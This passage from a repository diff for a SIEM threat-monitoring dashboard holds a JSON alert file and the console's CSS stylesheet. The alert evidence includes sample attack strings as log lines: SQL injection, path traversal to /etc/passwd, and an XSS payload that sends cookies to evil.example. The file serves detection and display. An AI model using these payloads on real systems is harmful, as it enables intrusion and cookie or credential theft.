"192.0.2.77 - - [27/Jul/2026:10:06:11 +0000] \"GET /api/users?id=1'%20OR%20'1'='1 HTTP/1.1\" 500 640 \"-\" \"python-requests/2.31\""
]
},
{
"id": "ALT-0009",
"timestamp": "2026-07-27T10:06:00",
"endpoint": "web-server (endpoint-1)",
"src_ip": "192.0.2.77",
"alert_type": "HIGH_REQUEST_RATE",
"severity": "medium",
"description": "21 requests from a single IP within 60s (possible scraping/DoS/automation)",
"evidence": [
"192.0.2.77 - - [27/Jul/2026:10:06:00 +0000] \"GET /api/data?page=1 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
"192.0.2.77 - - [27/Jul/2026:10:06:01 +0000] \"GET /api/data?page=2 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
"192.0.2.77 - - [27/Jul/2026:10:06:01 +0000] \"GET /api/data?page=3 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
"192.0.2.77 - - [27/Jul/2026:10:06:02 +0000] \"GET /api/data?page=4 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\"",
"192.0.2.77 - - [27/Jul/2026:10:06:02 +0000] \"GET /api/data?page=5 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\""
]
},
{
"id": "ALT-0016",
"timestamp": "2026-07-27T10:06:00",
"endpoint": "web-server (endpoint-1)",
"src_ip": "192.0.2.77",
"alert_type": "BLACKLISTED_IP_ACTIVITY",
"severity": "critical",
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
"evidence": [
"192.0.2.77 - - [27/Jul/2026:10:06:00 +0000] \"GET /api/data?page=1 HTTP/1.1\" 200 1200 \"-\" \"python-requests/2.31\""
]
},
{
"id": "ALT-0013",
"timestamp": "2026-07-27T10:05:24",
"endpoint": "ssh-auth (endpoint-3)",
"src_ip": "192.0.2.77",
"alert_type": "ACCOUNT_COMPROMISE_SUSPECTED",
"severity": "critical",
"description": "Successful SSH login as 'root' immediately following a brute-force burst from the same IP -- account may be compromised",
"evidence": [
"Jul 27 10:05:24 app-srv-05 sshd[10111]: Accepted password for root from 192.0.2.77 port 41011 ssh2"
]
},
{
"id": "ALT-0011",
"timestamp": "2026-07-27T10:05:12",
"endpoint": "ssh-auth (endpoint-3)",
"src_ip": "192.0.2.77",
"alert_type": "BRUTE_FORCE_SSH",
"severity": "high",
"description": "10 failed SSH login attempts within 300s trying 7 usernames (admin, deploy, oracle, postgres, root, test)",
"evidence": [
"Jul 27 10:05:12 app-srv-05 sshd[10101]: Failed password for invalid user admin from 192.0.2.77 port 41001 ssh2",
"Jul 27 10:05:13 app-srv-05 sshd[10102]: Failed password for invalid user root from 192.0.2.77 port 41002 ssh2",
"Jul 27 10:05:14 app-srv-05 sshd[10103]: Failed password for invalid user test from 192.0.2.77 port 41003 ssh2",
"Jul 27 10:05:15 app-srv-05 sshd[10104]: Failed password for invalid user oracle from 192.0.2.77 port 41004 ssh2",
"Jul 27 10:05:16 app-srv-05 sshd[10105]: Failed password for invalid user ubuntu from 192.0.2.77 port 41005 ssh2"
]
},
{
"id": "ALT-0015",
"timestamp": "2026-07-27T10:05:12",
"endpoint": "ssh-auth (endpoint-3)",
"src_ip": "192.0.2.77",
"alert_type": "BLACKLISTED_IP_ACTIVITY",
"severity": "critical",
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
"evidence": [
"Jul 27 10:05:12 app-srv-05 sshd[10101]: Failed password for invalid user admin from 192.0.2.77 port 41001 ssh2"
]
},
{
"id": "ALT-0010",
"timestamp": "2026-07-27T10:05:01",
"endpoint": "firewall (endpoint-2)",
"src_ip": "192.0.2.77",
"alert_type": "PORT_SCAN",
"severity": "high",
"description": "Port scan detected: 20 distinct destination ports probed against 10.0.0.5 within 120s (17 denied, 3 allowed)",
"evidence": [
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33001 DST=10.0.0.5 DPT=20 PROTO=TCP ACTION=DENY",
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33002 DST=10.0.0.5 DPT=21 PROTO=TCP ACTION=DENY",
"2026-07-27 10:05:02 SRC=192.0.2.77 SPT=33003 DST=10.0.0.5 DPT=22 PROTO=TCP ACTION=ALLOW",
"2026-07-27 10:05:02 SRC=192.0.2.77 SPT=33004 DST=10.0.0.5 DPT=23 PROTO=TCP ACTION=DENY",
"2026-07-27 10:05:03 SRC=192.0.2.77 SPT=33005 DST=10.0.0.5 DPT=25 PROTO=TCP ACTION=DENY"
]
},
{
"id": "ALT-0014",
"timestamp": "2026-07-27T10:05:01",
"endpoint": "firewall (endpoint-2)",
"src_ip": "192.0.2.77",
"alert_type": "BLACKLISTED_IP_ACTIVITY",
"severity": "critical",
"description": "Traffic from known-malicious IP 192.0.2.77: Listed in external threat-intel feed (example seed entry)",
"evidence": [
"2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33001 DST=10.0.0.5 DPT=20 PROTO=TCP ACTION=DENY"
]
},
{
"id": "ALT-0017",
"timestamp": "2026-07-27T10:05:01",
"endpoint": "correlation-engine",
"src_ip": "192.0.2.77",
"alert_type": "MULTI_VECTOR_ATTACK",
"severity": "critical",
"description": "IP 192.0.2.77 triggered alerts across 3 different endpoints (firewall (endpoint-2), ssh-auth (endpoint-3), web-server (endpoint-1)) -- consistent with a coordinated, multi-stage attack (recon -> exploitation -> access)",
"evidence": []
},
{
"id": "ALT-0008",
"timestamp": "2026-07-27T10:03:01",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.99",
"alert_type": "RECON_SCANNER",
"severity": "medium",
"description": "Automated vulnerability scan detected (nikto): 7 probe requests against paths such as /admin, /admin.php, /phpmyadmin/",
"evidence": [
"203.0.113.99 - - [27/Jul/2026:10:03:01 +0000] \"GET /admin HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
"203.0.113.99 - - [27/Jul/2026:10:03:02 +0000] \"GET /admin.php HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
"203.0.113.99 - - [27/Jul/2026:10:03:03 +0000] \"GET /phpmyadmin/ HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
"203.0.113.99 - - [27/Jul/2026:10:03:04 +0000] \"GET /.env HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\"",
"203.0.113.99 - - [27/Jul/2026:10:03:05 +0000] \"GET /wp-login.php HTTP/1.1\" 404 190 \"-\" \"Mozilla/5.0 (compatible; Nikto/2.5.0)\""
]
},
{
"id": "ALT-0005",
"timestamp": "2026-07-27T10:01:12",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "PATH_TRAVERSAL",
"severity": "high",
"description": "Path Traversal attempt detected in request to /download?file=../../../../etc/passwd",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:12 +0000] \"GET /download?file=../../../../etc/passwd HTTP/1.1\" 403 210 \"-\" \"sqlmap/1.7.2#stable\""
]
},
{
"id": "ALT-0004",
"timestamp": "2026-07-27T10:01:09",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "XSS",
"severity": "high",
"description": "Xss attempt detected in request to /search?q=<script>document.location='http://evil.example/c?'+document.cookie</script>",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:09 +0000] \"GET /search?q=<script>document.location='http://evil.example/c?'+document.cookie</script> HTTP/1.1\" 200 998 \"-\" \"sqlmap/1.7.2#stable\""
]
},
{
"id": "ALT-0003",
"timestamp": "2026-07-27T10:01:06",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "SQL_INJECTION",
"severity": "critical",
"description": "Sql Injection attempt detected in request to /products?id=1'%20AND%20SLEEP(5)--",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:06 +0000] \"GET /products?id=1'%20AND%20SLEEP(5)-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\""
]
},
{
"id": "ALT-0002",
"timestamp": "2026-07-27T10:01:04",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "SQL_INJECTION",
"severity": "critical",
"description": "Sql Injection attempt detected in request to /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users--",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:04 +0000] \"GET /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\""
]
},
{
"id": "ALT-0001",
"timestamp": "2026-07-27T10:01:02",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "SQL_INJECTION",
"severity": "critical",
"description": "Sql Injection attempt detected in request to /login.php?user=admin'%20OR%20'1'='1'--",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:02 +0000] \"GET /login.php?user=admin'%20OR%20'1'='1'-- HTTP/1.1\" 401 512 \"-\" \"sqlmap/1.7.2#stable\""
]
},
{
"id": "ALT-0007",
"timestamp": "2026-07-27T10:01:02",
"endpoint": "web-server (endpoint-1)",
"src_ip": "203.0.113.66",
"alert_type": "RECON_SCANNER",
"severity": "medium",
"description": "Automated vulnerability scan detected (sqlmap): 5 probe requests against paths such as /login.php?user=admin'%20OR%20'1'='1'--, /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users--, /products?id=1'%20AND%20SLEEP(5)--",
"evidence": [
"203.0.113.66 - - [27/Jul/2026:10:01:02 +0000] \"GET /login.php?user=admin'%20OR%20'1'='1'-- HTTP/1.1\" 401 512 \"-\" \"sqlmap/1.7.2#stable\"",
"203.0.113.66 - - [27/Jul/2026:10:01:04 +0000] \"GET /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\"",
"203.0.113.66 - - [27/Jul/2026:10:01:06 +0000] \"GET /products?id=1'%20AND%20SLEEP(5)-- HTTP/1.1\" 500 812 \"-\" \"sqlmap/1.7.2#stable\"",
"203.0.113.66 - - [27/Jul/2026:10:01:09 +0000] \"GET /search?q=<script>document.location='http://evil.example/c?'+document.cookie</script> HTTP/1.1\" 200 998 \"-\" \"sqlmap/1.7.2#stable\"",
"203.0.113.66 - - [27/Jul/2026:10:01:12 +0000] \"GET /download?file=../../../../etc/passwd HTTP/1.1\" 403 210 \"-\" \"sqlmap/1.7.2#stable\""
]
}
],
"malicious_ips": [
{
"ip": "192.0.2.77",
"threat_score": 72,
"severity_counts": {
"critical": 6,
"high": 2,
"medium": 1,
"low": 0
},
"total_alerts": 9,
"alert_types": [
"ACCOUNT_COMPROMISE_SUSPECTED",
"BLACKLISTED_IP_ACTIVITY",
"BRUTE_FORCE_SSH",
"HIGH_REQUEST_RATE",
"MULTI_VECTOR_ATTACK",
"PORT_SCAN",
"SQL_INJECTION"
],
"endpoints_involved": [
"firewall (endpoint-2)",
"ssh-auth (endpoint-3)",
"web-server (endpoint-1)"
],
"first_seen": "2026-07-27T10:05:01",
"last_seen": "2026-07-27T10:06:11",
"known_threat_intel": "Listed in external threat-intel feed (example seed entry)"
},
{
"ip": "203.0.113.66",
"threat_score": 42,
"severity_counts": {
"critical": 3,
"high": 2,
"medium": 1,
"low": 0
},
"total_alerts": 6,
"alert_types": [
"PATH_TRAVERSAL",
"RECON_SCANNER",
"SQL_INJECTION",
"XSS"
],
"endpoints_involved": [
"web-server (endpoint-1)"
],
"first_seen": "2026-07-27T10:01:02",
"last_seen": "2026-07-27T10:01:12",
"known_threat_intel": null
},
{
"ip": "198.51.100.234",
"threat_score": 5,
"severity_counts": {
"critical": 0,
"high": 1,
"medium": 0,
"low": 0
},
"total_alerts": 1,
"alert_types": [
"BRUTE_FORCE_SSH"
],
"endpoints_involved": [
"ssh-auth (endpoint-3)"
],
"first_seen": "2026-07-27T10:07:41",
"last_seen": "2026-07-27T10:07:41",
"known_threat_intel": null
},
{
"ip": "203.0.113.99",
"threat_score": 2,
"severity_counts": {
"critical": 0,
"high": 0,
"medium": 1,
"low": 0
},
"total_alerts": 1,
"alert_types": [
"RECON_SCANNER"
],
"endpoints_involved": [
"web-server (endpoint-1)"
],
"first_seen": "2026-07-27T10:03:01",
"last_seen": "2026-07-27T10:03:01",
"known_threat_intel": null
}
]
}

472
dashboard/style.css Normal file
عرض الملف

@@ -0,0 +1,472 @@
/* ==========================================================================
SIEM Threat Console — stylesheet
Visual identity: a night-ops monitoring console. Deep indigo-black field,
a hairline signal grid, and severity colour used as literal information
(red/orange/yellow/blue map 1:1 to critical/high/medium/low everywhere).
========================================================================== */
@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600;700&family=Inter:wght@400;500;600;700&display=swap');
:root {
--bg: #080B10;
--bg-grid: #0D121A;
--panel: #10161F;
--panel-raised: #141C27;
--border: #212D3D;
--border-soft: #1A2432;
--text: #E7EDF4;
--text-dim: #8592A3;
--text-faint: #4E5A6B;
--critical: #FF3B4E;
--critical-dim: #4A1620;
--high: #FF8C42;
--high-dim: #45280F;
--medium: #FFD23F;
--medium-dim: #453B10;
--low: #3FA7FF;
--low-dim: #10293F;
--ok: #35D48A;
--font-display: 'JetBrains Mono', monospace;
--font-body: 'Inter', sans-serif;
--font-mono: 'JetBrains Mono', monospace;
--radius: 6px;
}
* { box-sizing: border-box; }
html, body {
margin: 0;
padding: 0;
background: var(--bg);
color: var(--text);
font-family: var(--font-body);
-webkit-font-smoothing: antialiased;
}
body {
background-image:
linear-gradient(var(--bg-grid) 1px, transparent 1px),
linear-gradient(90deg, var(--bg-grid) 1px, transparent 1px);
background-size: 34px 34px;
min-height: 100vh;
}
::selection { background: var(--critical); color: #fff; }
a { color: var(--low); }
/* ---------- layout shell ---------- */
.console {
max-width: 1320px;
margin: 0 auto;
padding: 22px 24px 60px;
}
/* ---------- header ---------- */
.console-header {
display: flex;
align-items: flex-start;
justify-content: space-between;
gap: 24px;
padding-bottom: 18px;
border-bottom: 1px solid var(--border);
margin-bottom: 22px;
flex-wrap: wrap;
}
.brand {
display: flex;
align-items: center;
gap: 14px;
}
.brand-mark {
width: 40px;
height: 40px;
border-radius: 8px;
border: 1px solid var(--border);
background: var(--panel-raised);
display: flex;
align-items: center;
justify-content: center;
position: relative;
flex: none;
}
.brand-mark svg { width: 22px; height: 22px; }
.brand-text .eyebrow {
font-family: var(--font-mono);
font-size: 11px;
letter-spacing: 0.16em;
text-transform: uppercase;
color: var(--text-faint);
margin: 0 0 2px;
}
.brand-text h1 {
margin: 0;
font-family: var(--font-display);
font-size: 20px;
font-weight: 600;
letter-spacing: 0.01em;
}
.brand-text h1 .slash { color: var(--text-faint); font-weight: 400; margin: 0 6px; }
.header-status {
display: flex;
align-items: center;
gap: 22px;
font-family: var(--font-mono);
font-size: 12px;
color: var(--text-dim);
}
.status-item { display: flex; flex-direction: column; align-items: flex-end; gap: 3px; }
.status-item .value { color: var(--text); font-size: 13px; }
.live-dot {
display: inline-flex;
align-items: center;
gap: 7px;
color: var(--ok);
font-weight: 600;
}
.live-dot::before {
content: "";
width: 7px;
height: 7px;
border-radius: 50%;
background: var(--ok);
box-shadow: 0 0 0 0 rgba(53, 212, 138, 0.6);
animation: pulse 1.8s infinite;
}
@keyframes pulse {
0% { box-shadow: 0 0 0 0 rgba(53, 212, 138, 0.55); }
70% { box-shadow: 0 0 0 7px rgba(53, 212, 138, 0); }
100% { box-shadow: 0 0 0 0 rgba(53, 212, 138, 0); }
}
.btn {
font-family: var(--font-mono);
font-size: 12px;
color: var(--text);
background: var(--panel-raised);
border: 1px solid var(--border);
border-radius: var(--radius);
padding: 8px 14px;
cursor: pointer;
transition: border-color .15s ease, transform .1s ease;
}
.btn:hover { border-color: var(--low); color: var(--low); }
.btn:active { transform: translateY(1px); }
/* ---------- stat cards ---------- */
.stat-grid {
display: grid;
grid-template-columns: repeat(6, 1fr);
gap: 12px;
margin-bottom: 22px;
}
.stat-card {
background: var(--panel);
border: 1px solid var(--border);
border-top: 2px solid var(--border-soft);
border-radius: var(--radius);
padding: 14px 16px;
position: relative;
overflow: hidden;
}
.stat-card.crit { border-top-color: var(--critical); }
.stat-card.high { border-top-color: var(--high); }
.stat-card.med { border-top-color: var(--medium); }
.stat-card.low { border-top-color: var(--low); }
.stat-card.neutral { border-top-color: var(--text-faint); }
.stat-card .label {
font-family: var(--font-mono);
font-size: 10.5px;
letter-spacing: 0.09em;
text-transform: uppercase;
color: var(--text-dim);
margin: 0 0 8px;
}
.stat-card .num {
font-family: var(--font-display);
font-size: 28px;
font-weight: 700;
line-height: 1;
}
.stat-card.crit .num { color: var(--critical); }
.stat-card.high .num { color: var(--high); }
.stat-card.med .num { color: var(--medium); }
.stat-card.low .num { color: var(--low); }
/* ---------- panel grid ---------- */
.panel-row {
display: grid;
grid-template-columns: 1.1fr 1.4fr;
gap: 14px;
margin-bottom: 14px;
align-items: stretch;
}
.panel {
background: var(--panel);
border: 1px solid var(--border);
border-radius: var(--radius);
padding: 16px 18px 18px;
display: flex;
flex-direction: column;
min-width: 0;
}
.panel-title {
display: flex;
align-items: baseline;
justify-content: space-between;
margin-bottom: 12px;
}
.panel-title h2 {
font-family: var(--font-mono);
font-size: 12.5px;
letter-spacing: 0.1em;
text-transform: uppercase;
color: var(--text-dim);
margin: 0;
font-weight: 600;
}
.panel-title .hint { font-size: 11px; color: var(--text-faint); font-family: var(--font-mono); }
/* ---------- radar ---------- */
.radar-sweep {
transform-origin: 150px 150px;
animation: radar-spin 6s linear infinite;
}
@keyframes radar-spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
.radar-ping {
animation: radar-ping 1.8s ease-out infinite;
transform-origin: center;
}
@keyframes radar-ping {
0% { r: 4.5; opacity: 0.9; }
100% { r: 13; opacity: 0; }
}
.radar-wrap { display: flex; align-items: center; justify-content: center; padding: 6px 0 2px; }
.radar-legend {
display: flex; gap: 14px; justify-content: center; margin-top: 8px;
font-family: var(--font-mono); font-size: 10.5px; color: var(--text-dim);
}
.radar-legend span { display: inline-flex; align-items: center; gap: 5px; }
.legend-dot { width: 8px; height: 8px; border-radius: 50%; display: inline-block; }
/* ---------- severity meter ---------- */
.sev-meter { margin-top: auto; }
.sev-meter-bar {
display: flex;
height: 22px;
border-radius: 4px;
overflow: hidden;
border: 1px solid var(--border-soft);
}
.sev-meter-bar .seg { transition: flex-grow .4s ease; }
.sev-meter-bar .seg.crit { background: var(--critical); }
.sev-meter-bar .seg.high { background: var(--high); }
.sev-meter-bar .seg.med { background: var(--medium); }
.sev-meter-bar .seg.low { background: var(--low); }
.sev-meter-bar .seg.none { background: var(--border-soft); flex-grow: 1; }
.sev-meter-labels {
display: flex;
justify-content: space-between;
margin-top: 8px;
font-family: var(--font-mono);
font-size: 11px;
color: var(--text-dim);
}
.sev-meter-labels span { display: flex; align-items: center; gap: 6px; }
/* ---------- top IP list ---------- */
.ip-list { list-style: none; margin: 0; padding: 0; display: flex; flex-direction: column; gap: 10px; }
.ip-row {
display: grid;
grid-template-columns: 22px 130px 1fr 46px;
align-items: center;
gap: 10px;
font-family: var(--font-mono);
font-size: 12px;
}
.ip-rank { color: var(--text-faint); text-align: right; }
.ip-addr { color: var(--text); font-weight: 600; }
.ip-bar-track { height: 8px; background: var(--border-soft); border-radius: 4px; overflow: hidden; }
.ip-bar-fill { height: 100%; border-radius: 4px; }
.ip-score { text-align: right; color: var(--text-dim); }
/* ---------- filter bar ---------- */
.filter-bar {
display: flex;
gap: 10px;
flex-wrap: wrap;
margin-bottom: 14px;
}
.filter-bar input[type="text"],
.filter-bar select {
background: var(--panel-raised);
border: 1px solid var(--border);
color: var(--text);
font-family: var(--font-mono);
font-size: 12.5px;
border-radius: var(--radius);
padding: 9px 12px;
}
.filter-bar input[type="text"] { flex: 1; min-width: 200px; }
.filter-bar input::placeholder { color: var(--text-faint); }
.filter-bar select { cursor: pointer; }
.filter-bar input:focus, .filter-bar select:focus,
button:focus-visible, .btn:focus-visible {
outline: 2px solid var(--low);
outline-offset: 1px;
}
/* ---------- alerts table ---------- */
.alerts-panel { padding: 16px 0 4px; }
.alerts-panel .panel-title { padding: 0 18px; }
.table-scroll { overflow-x: auto; }
table.alerts {
width: 100%;
border-collapse: collapse;
font-size: 12.5px;
}
table.alerts th {
text-align: left;
font-family: var(--font-mono);
font-size: 10.5px;
letter-spacing: 0.08em;
text-transform: uppercase;
color: var(--text-faint);
padding: 8px 10px;
border-bottom: 1px solid var(--border);
white-space: nowrap;
position: sticky;
top: 0;
background: var(--panel);
}
table.alerts td {
padding: 10px 10px;
border-bottom: 1px solid var(--border-soft);
vertical-align: top;
}
table.alerts tbody tr { cursor: pointer; transition: background .12s ease; }
table.alerts tbody tr:hover { background: var(--panel-raised); }
table.alerts tbody tr.expanded { background: var(--panel-raised); }
td.ts, td.ip { font-family: var(--font-mono); color: var(--text-dim); white-space: nowrap; }
td.ip { color: var(--text); }
td.endpoint { color: var(--text-dim); white-space: nowrap; }
td.desc { color: var(--text); line-height: 1.4; }
.badge {
display: inline-block;
font-family: var(--font-mono);
font-size: 10.5px;
font-weight: 700;
letter-spacing: 0.04em;
padding: 3px 8px;
border-radius: 3px;
text-transform: uppercase;
white-space: nowrap;
}
.badge.critical { background: var(--critical-dim); color: var(--critical); }
.badge.high { background: var(--high-dim); color: var(--high); }
.badge.medium { background: var(--medium-dim); color: var(--medium); }
.badge.low { background: var(--low-dim); color: var(--low); }
.type-tag {
font-family: var(--font-mono);
font-size: 10.5px;
color: var(--text-dim);
background: var(--panel-raised);
border: 1px solid var(--border-soft);
border-radius: 3px;
padding: 2px 6px;
white-space: nowrap;
}
.evidence-row td {
padding: 0 10px 14px 10px;
border-bottom: 1px solid var(--border-soft);
}
.evidence-box {
background: var(--bg);
border: 1px solid var(--border-soft);
border-left: 3px solid var(--low);
border-radius: 4px;
padding: 10px 12px;
font-family: var(--font-mono);
font-size: 11.5px;
color: var(--text-dim);
white-space: pre-wrap;
word-break: break-all;
max-height: 160px;
overflow-y: auto;
}
.empty-row td {
text-align: center;
color: var(--text-faint);
font-family: var(--font-mono);
padding: 36px 0;
}
/* ---------- footer ---------- */
.console-footer {
margin-top: 24px;
padding-top: 14px;
border-top: 1px solid var(--border);
display: flex;
justify-content: space-between;
align-items: center;
font-family: var(--font-mono);
font-size: 11px;
color: var(--text-faint);
flex-wrap: wrap;
gap: 8px;
}
/* ---------- responsive ---------- */
@media (max-width: 980px) {
.panel-row { grid-template-columns: 1fr; }
.stat-grid { grid-template-columns: repeat(3, 1fr); }
}
@media (max-width: 620px) {
.stat-grid { grid-template-columns: repeat(2, 1fr); }
.header-status { display: none; }
.ip-row { grid-template-columns: 18px 96px 1fr 40px; }
}
@media (prefers-reduced-motion: reduce) {
.live-dot::before { animation: none; }
* { transition: none !important; animation-duration: 0.001s !important; }
}